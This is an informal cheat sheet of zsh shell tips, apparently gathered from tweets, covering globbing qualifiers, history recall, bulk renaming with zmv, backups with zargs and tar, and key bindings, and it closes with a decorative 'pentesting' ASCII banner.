for f in **/x; do;cp newx $f; done

# alternative ways of cd-ing to deep paths
hash -d dd="/var/www/html/scripts/dd/"
cdpath=(~ /var/www/html/)

# a simple completer for latex files
zstyle ':completion:*:*:vtex:*' file-patterns '*.tex:tex-files'
function vtex(){gvim $*}
vtex<TAB>

# multiple redirection
 cat file.txt > file1.txt >> file2.txt > file3.txt

# textify a phrase to create an image name
s="Fred Goat Dog"
print ${(L)s:gs/ /-/}.jpg
print ${(L)s// /-}.jpg

# vi mode multiple undo/redo
bindkey -a u undo
bindkey -a '^R' redo
bindkey '^?' backward-delete-char
bindkey '^H' backward-delete-char

# reply gets each file name
$REPLY:r.o
:r strip extension
.o add .o
[[! -e $REPLY:r.o]]  # does *.o exist
e#''#   execute condition

# find *.c files which have no *.o
touch  {a,b,c,d}.c {a,c}.o
ls *.c(e#'[[ ! -e $REPLY:r.o ]]'#)

# test if a file exists before overwriting
[[ -e test/config.php ]] && cp -p test/config.php www/

for f (*.php) { php -l  $f }
for i in {11..15} ; ping -n 1 192.18.158.$i

# please memorise syntax for recalling an individual param
# !?string?0-$
ls file0PGwerlongname.csv
.. other commands
vi !?file0?$<TAB>

# list  user root files which are not executable
ls -l *.*(u:root:.^x)

# working with file ownership
# list files not owned by user apache
ls -dl *(^u:apache:)

if [[ $1 == <-> ]] ; then
echo parameter is a number
else
echo $1
fi

# edit/correct previous command :G global :u uppercase :p just display & memory
echo fred
^fred^joe
^joe^& &
^joe^sid^:G
^sid^sue^:G:u:p

# what's been modified today?
ls -lt  /var/www/html/**/*(.om[1,10])

# attach a command, text etc to a key, use with care
 bindkey -s qq 'ls **/*.php'
# to get code of a function key type cntl-v f5  ^[[15;5~

# list files younger than 6 hours
ls *.*(mh-6)
# m =modified  h-6 hours - 6
# list files older than 6 hours
ls *.*(mh+6)

# simple but useful
# copy today's files to a USB
cp *(m0) f:/
cp *.mp3(m0) f:/
# where m0 is m zero

# Global
zstyle ':completion:*' completer _expand_alias _expand _complete _ignored
vi NF<TAB>
vi *~vssver.scc(.om[1]) <TAB>
vi news.php

# FNG choices
touch {bb,aa,cc}.{jpg,gif,png}
ls {aa,bb}.(jpg|gif)
ls (*~aa).(*~gif)

# zsh magic : recall recent directories
setopt autopushd pushdignoredups
cd -<TAB>
cp main.php ~-<TAB>

# FNG
touch {y,y2}.cfm
ls y2#.cfm y{2,}.cfm y(2|).cfm {y2,y}.cfm (y|y2).cfm y*.cfm

# renumbering images
autoload zmv
autoload zmv   $ zmv 'pic(*).jpg' 'pic${(l:4::0:)1}.jpg'

# find all files with no extension
ls *~*.*(.)
# * match all files
# ~*.* except any with a dot
# (.) files only

# padding left & right
value=314.56
echo ${(l:10::2:)value}
echo ${(r:10::0:)value}

# num ranges ad nauseum
touch {1..5} {6,7,8,12} {00..03}
ls <-> <-6> <4-> <4-5> 0<-> {1..5} {2,3} {00..03} (4|5) [3-4]  [3-47-8] 0? ?2 *2

# number ranges
touch x{1..5} {9..6}
ls x<0-5>
ls <->

# builtin random number $Random
for i in {1..9}; echo $RANDOM

cd /v/w/h/<tab>
# expands to
cd /var/www/html/

# use global alias to replace complex syntax
alias -g REL=' ${PWD/html/release}'
# you must use single quotes here

# now exclude some directories
zargs ./{html,live}/**/*.{php,inc,js}~(**/wiki|**/dompdf)/* -- tar rvf /tmp/web2$(date "+%d-%m-%Y").tar

# backup two webroots dev and html
zargs ./{html,dev}/**/*.{php,inc,js} -- tar rvf /tmp/web$(date "+%d-%m-%Y").tar

# previous tweet saves a command in history that you are not ready to execute
$BUFFER contains command
print -s means print to history

# ctrl-b save
commit-to-history() {
print -s ${(z)BUFFER}
zle send-break
}
zle -N commit-to-history bindkey "^B" commit-to-history

# type bindkey to see what  is configured
bindkey
# also set, setopt, mount, alias, autoload, functions, zstyle
# use | more as required

zargs ./**/*.{php,inc,js} -- tar rvf /tmp/webbackup$(date "+%d-%m-%Y").tar

# debug echo shell commands and provide trace info
setopt XTRACE VERBOSE

# duality of operators :u :l etc
f=FreD
echo ${f:u}
echo FreD
echo !$:u

# http://t.co/Alky15TAaS
!!:1:s/s1/s2/ Replace string s1 by s2
!!:1:gs/s1/s2/ Same but global
!!:1:& Use same s1 and s2 on new target

ls -l *(Lk+100)   # list file size larger/greater than 100kb
 ls **/*(.Lm+10)   # list files larger than 10MB anywhere in hierarchy

# flip between two deep parallel directories
cd /var/www/html/admin
cd html live > /dev/null &>1 || cd live html > /dev/null &>1

# just fun but memorise these
touch do re mi
!!:0 !^ !:2 !$ !#$ !#:2 !#1 !#:0

# lowercase/uppercase all files/directories
zmv '(*)' '${(L)1}' # lowercase
zmv '(*)' '${(U)1}' # uppercase
# the syntax is logical

# Bulk change the suffix from *.sh to *.pl
zmv -W '*.sh' '*.pl'

# zmv advanced renaming  , replace spaces by underscore
autoload -U zmv
touch 'filename with spaces.txt'
zmv '* *' '$f:gs/ /_'

# number ranges
ls fred{09..13}.pl
# list all files fred76.pl to fred88.pl
 ls fred<76-88>.php

#  cd to deep dirs from anywhere
cdpath=(~ /c/inetpub/wwwroot/  /c/intdoc/)
cd website1
# where website1 is /c/inetpub/wwwroot/website1/

# start zsh without your usual config (for testing etc)
zsh -f

# tip part 2
# with previous tweet
ls fred<tab>
# will complete middle of filename e.g. longfred.txt

# tip part I
autoload -U compinit && compinit
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}'   'r:|[._-]=* r:|=*' 'l:|=* r:|=*'

# oh my zsh a project to facilitate configuring zsh
https://t.co/9tUvMIztjt

# elegant ftp
autoload -U zfinit
zfinit
zfparams http://t.co/FV4p7oNuqI userid password
zfopen
zfput zshtips.html

# check syntax of PHP files with quote in name
for i in quote_* ; php -l $i

# recall from current line
cp longfilename.php backup_!#^<TAB>
# here !#^ !#1 !#$ all recall longfilename.php
# also !#0

# expands to mv textfile.txt textfile.bak
mv textfile.{txt,bak}

# create a backup copy of a file
cp {,bak_}verylongfilename.tex

# another way to edit a previous command
!-2:gs/fred/joe/
!?php5?:gs/5/6/

# newest directory
alias -g ND='*(/om[1])'
# newest file
alias -g NF='*~vssver.scc(.om[1])'
cp NF ND

# variety
ls *.{jpg,gif,png}
ls *.{jpg,gif,png}(.N)   # does not break if one type missing
ls *.(jpg|gif|png)

# very good, simply explained
http://t.co/yEFBz3wZu1

ls **/*~*/.git/*
# ignore all git subdirectories *~* matches a path

# copy to a deep parallel directory
cp ${PWD/dev/html}/getRecord.php .
# e.g from /var/www/dev/include/ to /var/www/html/include

# push current command into a buffer, allows you to do another command then returns to previous command
bindkey '^L' push-line

# for previous tweet you need, also you can program any key
bindkey -v # vi mode line editting

bindkey -M viins '^O'   # copy-prev-shell-word

cp longname.php <control-O> duplicates longname.php which you then modify

bindkey '^[[A' history-beginning-search-backward # Up
bindkey '^[[B' history-beginning-search-forward # Down
cd (up recalls prev params)

# writes ls results to file1 & file2 appends to file3 . multi-io
ls > file1 > file2 >> file3 | wc

# recall most recent cmd containing string 'client'
!?client<tab>

# recall last parameter of cmd containing 'client'
vi !?client?:$<tab>

# history substitution
!^      first parameter
!:1-4   first 4 parameters
!$      last parameter
!*      all parameters

# ^^ correct /alter previous command
cp x2 src/
^2^3
cp x3 src/

# list 5 most recent files anywhere in hierarchy
ls -lt **/*(D.om[1,5])

* all files
~ except for
*.* all files with a dot
(.) files only

# list all files without an extension ( no dot)
ls *~*.*(.)

# list pesky empty files (yes that is a zero)
ls *(.L0)

# autocd is where you just have to type the directory name to "cd" to it. Are there any drawbacks to autocd?
# type ... to go back up 2 directory levels
alias ...='cd ../..'

# .zshrc : access vim scratch files vx1 to vx9
function vx{0..9}(){gvim.exe c:/aax/${0/#v/} &}

# create shortcuts to deep directories (put in .zshrc)
hash -d www="/var/www/html"
cd ~www

# now just type test.php to execute it
alias -s php='c:/wamp/php/php.exe'  

yum install zsh  # on many linux systems, for cygwin users select zsh from the setup.

ls (x*~x[3-5])    # list files x* except x3 to x # thank You Steve Mac my first follower!

zargs ./**/*.{php,inc,js} -- tar rvf dev2$(date '+%d-%m-%Y').tar # tar just source files in a directory

cd str1 str2 # this will substitute the string "str1" from your directory path and replace  it with "str2".

ls -lt  **/*.php(.om[1,20]) # list 20 newest php files anywhere in directory hierarchy

ls *(m0)   # list all files modified in last 24 hours

mv *.*(^m-1) archive/ # move all but today its files to sub-directory archive

vi ~+<tab> 1 /c/aaz 2 /c/aaa 3 /c/aax 4 /usr/bin  # vi a file in recently visited directory

cd ~<tab>  # display a list of recently visited directories then select the one you wish to return to

vi **/myfile.txt   edit a file somewhere in hierarchy

# The elegant way zsh handles recursion. list all files main.php, main.css anywhere in directory / subdirectories >
ls -l **/main.{php,css}

# Right now I am logged into a server with a massive 4 petabyte filesystem within the Scholarly Data Archive at @iu_pti. I think the whole service has 42PB total storage. Someday this tweet may not be impressive, but not today! :D
# When brace expansion just will not cut it. Requires using the zsh shell. 
# useful zsh spaceship numeric operator <->
        touch {1..5}.php {6,7,8,12}.php {00..05}.php
        ls <->.php
        ls 0<->.php…

#==============================##==============================#
# CMD ZSH						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░